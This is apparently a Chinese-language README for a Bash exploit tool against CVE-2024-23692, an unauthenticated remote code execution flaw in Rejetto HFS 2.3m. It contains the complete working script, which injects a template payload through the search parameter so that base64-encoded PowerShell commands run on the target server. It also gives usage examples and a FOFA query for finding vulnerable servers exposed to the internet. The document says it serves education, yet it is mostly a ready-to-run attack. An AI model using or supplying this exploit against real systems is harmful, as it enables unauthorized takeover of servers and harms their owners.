CVE-2024-23692:Rejetto HFS 未授权 RCE 利用工具
这是一个针对 Rejetto HTTP File Server (HFS) 2.3m 版本中 CVE-2024-23692 漏洞的 Bash 脚本利用工具。该漏洞允许未授权的攻击者在目标服务器上远程执行任意代码,对系统安全构成严重威胁。
功能特性
- 一键利用:简单易用的 Bash 脚本,只需提供目标 URL 和待执行的系统命令。
- 命令编码:自动将用户输入的命令转换为 UTF-16LE 格式并进行 Base64 编码,以适配 PowerShell 执行环境。
- 结果提取:智能解析服务器返回的响应,仅提取并显示执行命令后的有效输出结果,去除干扰信息。
- 目标发现:提供 FOFA 搜索语法,帮助研究人员快速定位可能存在漏洞的 HFS 2.3m 实例。
- 教育目的:清晰的代码结构和注释,便于安全研究人员学习漏洞原理和利用技术。
安装指南
环境要求
- 操作系统:支持 Bash 的 Linux/macOS 环境,或 Windows 上的 WSL/Git Bash。
- 依赖工具:
curl:用于发送 HTTP 请求。iconv:用于转换命令字符串的字符编码。base64:用于编码命令。awk:用于处理和过滤响应数据。
安装步骤
-
克隆或下载脚本: 将本项目的
CVE-2024-23692.sh脚本保存到本地。 -
赋予执行权限:
chmod +x CVE-2024-23692.sh -
验证依赖: 确保系统中已安装所有依赖工具。
# 检查 curl 是否安装 which curl # 检查 iconv 是否安装 which iconv # 检查 base64 是否安装 which base64 # 检查 awk 是否安装 which awk
使用说明
基础用法
脚本的基本执行格式如下:
./CVE-2024-23692.sh <目标URL> <待执行的命令>
示例 1:执行系统命令并查看输出
./CVE-2024-23692.sh http://192.168.1.100:8080 "whoami"
该命令会在目标服务器上执行 whoami 命令,并返回当前用户的身份。
示例 2:执行多命令或复杂操作
./CVE-2024-23692.sh http://192.168.1.100:8080 "ipconfig /all"
寻找目标
使用 FOFA 搜索引擎(类似于 Shodan)查找可能受影响的 HFS 2.3m 服务器:
- FOFA 搜索语法:
"HttpFileServer" && server=="HFS 2.3m"
漏洞利用流程
- 脚本将用户输入的命令包裹在
echo [S]; <command>; echo [S];结构中。 - 使用
iconv -t UTF-16LE将字符串转换为 UTF-16LE 编码。 - 使用
base64 -w 0对编码后的内容进行 Base64 编码。 - 构造包含恶意参数的 GET 请求 URL。
- 使用
curl向目标服务器发送请求。 - 利用
awk从响应中提取[S]标记之间的输出内容。
核心代码
#!/usr/bin/env bash
# 显示漏洞利用工具的标志性横幅
banner() {
cat <<'EOF'
______ _______ ____ ___ ____ _ _ ____ _____ __ ___ ____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \|___ / / /_ / _ \___ \
| | \ \ / /| _| __) | | | |__) | || |_ __) | |_ \| '_ \ (_) |__) |
| |___ \ V / | |___ / __/| |_| / __/|__ _| / __/ ___) | (_) \__, / __/
\____| \_/ |_____| |_____|\___/_____| |_| |_____|____/ \___/ /_/_____|
__ __ _ _____ _
\ \ / /__ _ __ _ _ | | __ _ _____ _ |_ _|__ ___| |__
\ \ / / _ \ '__| | | | | | / _` |_ / | | | | |/ _ \/ __| '_ \
\ V / __/ | | |_| | | |__| (_| |/ /| |_| | | | __/ (__| | | |
\_/ \___|_| \__, | |_____\__,_/___|\__, | |_|\___|\___|_| |_|
|___/ |___/
@VeryLazyTech - Medium
EOF
}
# 调用横幅显示函数
banner
# 启用错误时立即退出,确保脚本在遇到错误时停止
set -e
# 检查命令行参数数量是否正确
if [ "$#" -ne 2 ]; then
printf "Usage: $0 <url> <command>"
exit 1
fi
# 核心利用逻辑:
# 1. 构造要执行的命令字符串,并使用 '[S]' 作为输出标记,便于后续提取结果
# 2. 将命令字符串转换为 UTF-16LE 编码(Windows 系统常用)
# 3. 对转换后的字节流进行 Base64 编码,用于 PowerShell 的 -enc 参数
commands=$(echo "echo [S]; $2; echo [S];" | iconv -t UTF-16LE | base64 -w 0)
# 构造包含恶意负载的 URL
# 漏洞点位于 URL 参数中,通过特定的语法注入命令执行
payload="/?n=%0A&cmd=cmd+/c+powershell+-enc+$commands&search=%25xxx%25url%25:%password%\}\{.exec|\{.?cmd.\}|timeout=15|out=abc.\}\{.?n.\}\{.?n.\}RESULT:\{.?n.\}\{.^abc.\}====\{.?n.\}"
# 组合完整的攻击 URL
url=$1$payload
printf "\033[0;32mTrying to exploit... Just a sec\033[0m"
# 发送恶意请求
response=$(curl -s -X GET "$url")
# 使用 awk 提取命令执行结果:
# 查找 '[S]' 标记,并打印第一个标记之后到第二个标记之间的所有内容
result=$(echo "$response" | awk 'BEGIN {found=0} /\[S\]/ {if (found == 0) {found=1; next} else {exit}} found {print}')
# 输出最终结果,包含时间戳和命令输出
printf "[\033[0;32m*\033[0m]" $(date "+%Y-%m-%d %H:%M:%S") " \n[\033[0;32m*\033[0m] Output: \n"
printf "$result"
printf "\n"
6HFtX5dABrKlqXeO5PUv/4N6eUEvsQI4H+J+IrCyZAc=